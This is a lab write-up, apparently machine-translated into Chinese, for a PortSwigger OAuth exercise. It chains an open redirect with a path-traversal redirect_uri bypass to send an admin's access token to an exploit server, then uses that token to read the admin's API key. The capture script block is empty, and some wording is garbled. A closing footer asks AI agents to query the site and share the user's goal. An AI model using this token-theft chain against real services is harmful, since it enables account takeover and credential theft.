> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).
# 通过开放重定向窃取 OAuth 令牌
通过开放重定向窃取 OAuth 令牌，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过开放重定向窃取 OAuth 访问令牌
**实验目标**
本实验对……的验证不正确 `redirect_uri` OAuth 服务对该参数的处理。/ 目标是利用客户端应用中存在的开放重定向来 **从管理员用户那里外泄 OAuth 访问令牌** 然后用它获取其 API 密钥。
> 仅通过在客户端应用中连接到管理员账户，无法获取管理员的 API 密钥。
**识别开放重定向**
博客文章之间的浏览功能中存在开放重定向：
{% code overflow="wrap" %}
```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```
{% endcode %}
通过替换 `path` 该参数为外部 URL，重定向会被接受：
{% code overflow="wrap" %}
```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```
{% endcode %}
浏览器被重定向，证实了该漏洞。
**OAuth 流程分析**
通过 OAuth 进行身份验证时，会观察到以下请求：
{% code overflow="wrap" %}
```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```
{% endcode %}
OAuth 服务拒绝完全外部的 `redirect_uri`，但接受经过路径遍历修改的内部 URL。
{% code overflow="wrap" %}
```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```
{% endcode %}
**`redirect_uri` 验证绕过**
使用 `../` 要退出 `/OAuth-callback` 路径，可以串联开放重定向：
{% code overflow="wrap" %}
```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```
{% endcode %}
此 URL 被接受为 `redirect_uri` 由 OAuth 提供方。
**恶意 OAuth URL 构造**
发送给受害者的最终 URL 是：
{% code overflow="wrap" %}
```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```
{% endcode %}
**片段问题（`#`)**
URL 片段 **从不发送到服务器** 在 HTTP 请求期间。
需要客户端的 JavaScript 来捕获令牌。
**使用 JavaScript 捕获令牌**
以下脚本托管在 Exploit Server 上并发送给管理员：
```javascript
```
* 如果没有片段，受害者会被重定向到 OAuth。
* 如果存在片段，令牌会通过查询字符串传输到服务器。
**OAuth 令牌利用**
被盗取的令牌可让你查询 `/me` 供应商 OAuth 的端点：
```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```
响应包含管理员账户信息，包括 API 密钥：
{% code overflow="wrap" %}
```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```
{% endcode %}
---
# Agent Instructions
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## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
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Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
